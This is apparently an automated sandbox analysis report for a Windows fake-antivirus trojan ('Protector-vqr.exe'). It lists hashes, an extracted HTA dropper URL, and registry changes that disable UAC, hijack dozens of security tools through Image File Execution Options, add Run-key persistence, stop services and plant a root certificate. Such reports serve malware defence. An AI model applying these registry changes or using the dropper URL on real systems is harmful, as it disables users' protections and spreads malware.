e2e5b85381499121ec7e54b810c4415e7d0d4f2f9f1ebcd95c0a8c17db129cce

Analysis

max time kernel
150s
max time network
147s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
11/07/2024, 05:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe
Size

2.0MB
MD5

37da1190c300cdb5315dffac45b541dd
SHA1

140ef5a36a7b24ff21800aad7cc28924546ab596
SHA256

e2e5b85381499121ec7e54b810c4415e7d0d4f2f9f1ebcd95c0a8c17db129cce
SHA512

99a8a3aa57df9900314ea732f8bcd597301855c4ad7fd54e0641ebb6cb67b168b5a693cdc6ff54cb7e2fa4fe01e3a69f7e084c0a0a925c78561bf98895144a2f
SSDEEP

49152:D7qDNHm6jMzzCQyKFR3fUZGuZZLhSbaHX4td:DuMXrFRNuZZYi4td

Score

10^/10

evasion execution persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.online-secure-pay.info/?0=154&1=1&2=1&3=25&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=ghnhrhwrll&14=1

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-vqr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-vqr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-vqr.exe

Disables taskbar notifications via registry modification
evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msbb.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcsysmon.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\advxdwin.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atwatch.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gator.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install[3].exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\JsRcGen.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows Police Pro.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ray.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssgrate.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vpc42.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zonalm2601.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\espwatch.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SaveArmor.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utpost.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vswin9xe.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmesys.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gmt.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastUI.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpd.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssurf.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcomx.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\padmin.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avnt.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssurf.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\drwatson.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pctsSvc.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sc.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wupdt.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSimp2.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perswf.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rtvscn95.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\blackice.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dvp95.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\espwatch.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogin.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pcip10117_0.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\arr.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpupd.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nisum.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wrctrl.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconsol.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avshadow.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avnotify.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ncinst4.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\patch.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysupd.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixcfg.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ncinst4.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pingscan.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scam32.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smc.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tfak.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outpost.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pccwin98.exe	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winservn.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ackwin32.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avciman.exe	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDSurvey.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cwnb181.exe\Debugger = "svchost.exe"	Protector-vqr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\init32.exe \Debugger = "svchost.exe"	Protector-vqr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\killprocesssetup161.exe	Protector-vqr.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
1896	al6it1516l5754g.exe
3040	filesystemscan.exe
2604	Protector-vqr.exe

Loads dropped DLL 7 IoCs

pid	Process
2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe
1896	al6it1516l5754g.exe
1896	al6it1516l5754g.exe
3040	filesystemscan.exe
3040	filesystemscan.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-vqr.exe"	Protector-vqr.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-vqr.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-vqr.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-vqr.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-vqr.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
284	sc.exe
1660	sc.exe
2020	sc.exe
1668	sc.exe
620	sc.exe
1248	sc.exe
1912	sc.exe
1932	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000082ebb0b9d6f3f0458e93e15bd38f268f00000000020000000000106600000001000020000000605ef361c95f4b65d712e247791d2cd8cb71f7831282802f0e15659e0b796264000000000e80000000020000200000008ae913bdb3a1b6e8f99357f4c7eb5ae55e8c2a0fc86514f17b9bf1bcddc3e9cf90000000a952f6ceeb50880e7c9bc400dd2fad372a8c8586a74cfd9fe4c47fa86e205ea2367f0bf0ed1af64139ea46eaa28f421714db2de8f1ed776eb0347184fcd4d0eef52905f27df81d4583d445e88c2fa0b73e58af0e0d17bd83509006d2ccfca5e5241dc7fe6b8b33ee5123546be9a870aad713cf5a5ea133bbc65164cf9f4167a867a33bd04c703d5de12378512682ec1c400000004bb37140490325aaeb886598669e2c712eea01d50e5c92abac0fbc7ec0832274efc9b3b93921d2c8ae9f9171d72c370872e4e138db93d5cb451299d6add4df46	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9A9B6801-3F45-11EF-99AF-7ED57E6FAC85} = "0"	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-vqr.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000082ebb0b9d6f3f0458e93e15bd38f268f0000000002000000000010660000000100002000000009d618ee9b381a8f18d56e3eb41a5d022a6e14bdb16b0f26d38b475e1d8cf64a000000000e8000000002000020000000d6ee1e29622cdc2006041e3ce5d27a36a47c612a3f88fb03834b944b10ea052620000000744b63864c78590dc7fdfd9420ad8ad31bdcecc2a87466d7539b58482743602440000000ca9e8a4042c7f7bf4a4b6e2862a3f6ffbc037504964ebd75025eaba83e124a1b1c894871e7a1bf87d8feace06dd1d07579a6d3e89b53959ed0219aa3fb9e2b73	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	Protector-vqr.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-vqr.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c00d396f52d3da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-vqr.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-vqr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
264	iexplore.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3040	filesystemscan.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
2604	Protector-vqr.exe
264	iexplore.exe
264	iexplore.exe
1032	IEXPLORE.EXE
1032	IEXPLORE.EXE
1032	IEXPLORE.EXE
1032	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 1896	2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe	30
PID 2204 wrote to memory of 1896	2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe	30
PID 2204 wrote to memory of 1896	2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe	30
PID 2204 wrote to memory of 1896	2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe	30
PID 2204 wrote to memory of 1896	2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe	30
PID 2204 wrote to memory of 1896	2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe	30
PID 2204 wrote to memory of 1896	2204	37da1190c300cdb5315dffac45b541dd_JaffaCakes118.exe	30
PID 1896 wrote to memory of 3040	1896	al6it1516l5754g.exe	31
PID 1896 wrote to memory of 3040	1896	al6it1516l5754g.exe	31
PID 1896 wrote to memory of 3040	1896	al6it1516l5754g.exe	31
PID 1896 wrote to memory of 3040	1896	al6it1516l5754g.exe	31
PID 1896 wrote to memory of 3040	1896	al6it1516l5754g.exe	31
PID 1896 wrote to memory of 3040	1896	al6it1516l5754g.exe	31
PID 1896 wrote to memory of 3040	1896	al6it1516l5754g.exe	31
PID 3040 wrote to memory of 2604	3040	filesystemscan.exe	32
PID 3040 wrote to memory of 2604	3040	filesystemscan.exe	32
PID 3040 wrote to memory of 2604	3040	filesystemscan.exe	32
PID 3040 wrote to memory of 2604	3040	filesystemscan.exe	32
PID 3040 wrote to memory of 2604	3040	filesystemscan.exe	32
PID 3040 wrote to memory of 2604	3040	filesystemscan.exe	32
PID 3040 wrote to memory of 2604	3040	filesystemscan.exe	32
PID 3040 wrote to memory of 2640	3040	filesystemscan.exe	33
